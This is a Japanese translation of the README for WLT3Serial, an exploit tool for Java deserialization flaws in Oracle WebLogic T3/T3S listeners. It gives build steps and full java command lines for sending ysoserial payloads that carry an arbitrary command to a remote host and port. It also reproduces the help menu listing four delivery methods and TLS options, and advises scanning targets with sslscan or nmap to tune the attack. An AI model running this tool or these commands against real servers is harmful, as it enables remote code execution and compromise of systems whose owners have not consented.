
WebLogic T3(およびT3S)リスナー向けのネイティブJavaベースのデシリアライゼーションエクスプロイト。
WebLogic T3 (および T3S) リスナー向けのネイティブ Java ベースのデシリアライゼーションエクスプロイト([こちら](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic "What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.")で概要を説明)。サードパーティ依存関係として ysoserial と wlthint3client が必要です。
Oracle Java 7 または 8 が必要です。他の Java ベンダー(OpenJDK や IBM JRE など)ではテストされていないため、これらに対するサポートは保証しません。Java 9 または 10 でもビルドできる可能性がありますが、これらに対するサポートは保証しません。
WLT3Serial は Gradle ビルド自動化システムを使用して構築されます。ビルドには Gradle 4 を使用する必要がありますが、他のバージョンも部分的にテストされています(開発セクションを参照)。
サードパーティ依存関係:
手順:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testOracle Java 7 または 8 が必要です。他の Java ベンダー(OpenJDK や IBM JRE など)ではテストされていないため、これらに対するサポートは保証しません。Java 9 または 10 でも使用できる可能性がありますが、これらに対するサポートは保証しません。
Property(デフォルト)、Bind、または WLBind エクスプロイト手法を使用する場合、WLT3Serial は以下のように実行する必要があります(java の '-cp' パラメータの値に注意してください):
java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDCustomClass エクスプロイト手法を使用する場合、WLT3Serial は以下のように実行する必要があります(java の '-cp' パラメータの値に注意してください):
java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD以下は組み込みヘルプメニューの出力です:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)
Property、Bind、WLBind の各手法はすべて非常に似ています。そのため、ターゲットシステムがこれらの手法のいずれかを使用してエクスプロイトできない場合、他の手法を使用してもおそらくエクスプロイトできません。CustomClass 手法は他の手法とは完全に異なります。
ユーザーは sslscan または nmap ssl-enum-ciphers スクリプト を使用してターゲットサービスをスキャンし、サポートされているプロトコルを確認することをお勧めします。これにより、ユーザーは WLT3Serial を実行する際に --t3s オプションを微調整できます。
JavaUnserializeExploits weblogic.py および loubia エクスプロイトを改善する試みとして、WLT3Serial は WebLogic T3/T3S サービスに接続するための以下のリソースを使用して Java で開発されました:
T3 接続を Java でネイティブに処理すること、およびユーザーに役立つコマンド出力を提供するための適切なエラー処理に重点が置かれました。
WLT3Serial は以下のソフトウェアバージョンを使用して開発されました:
開発中のライブテストは、以下のバージョンの WebLogic Server に対して実施されました:
開発者はソフトウェアを無保証で無料で提供し、ソフトウェアの使用によってシステムに生じた損害について一切の責任を負いません。ソフトウェアの使用中にすべての地域、州、連邦の法律を遵守するのはユーザーの責任です。
(C) 2017, 2018 Jeffrey Cap (Bort_Millipede)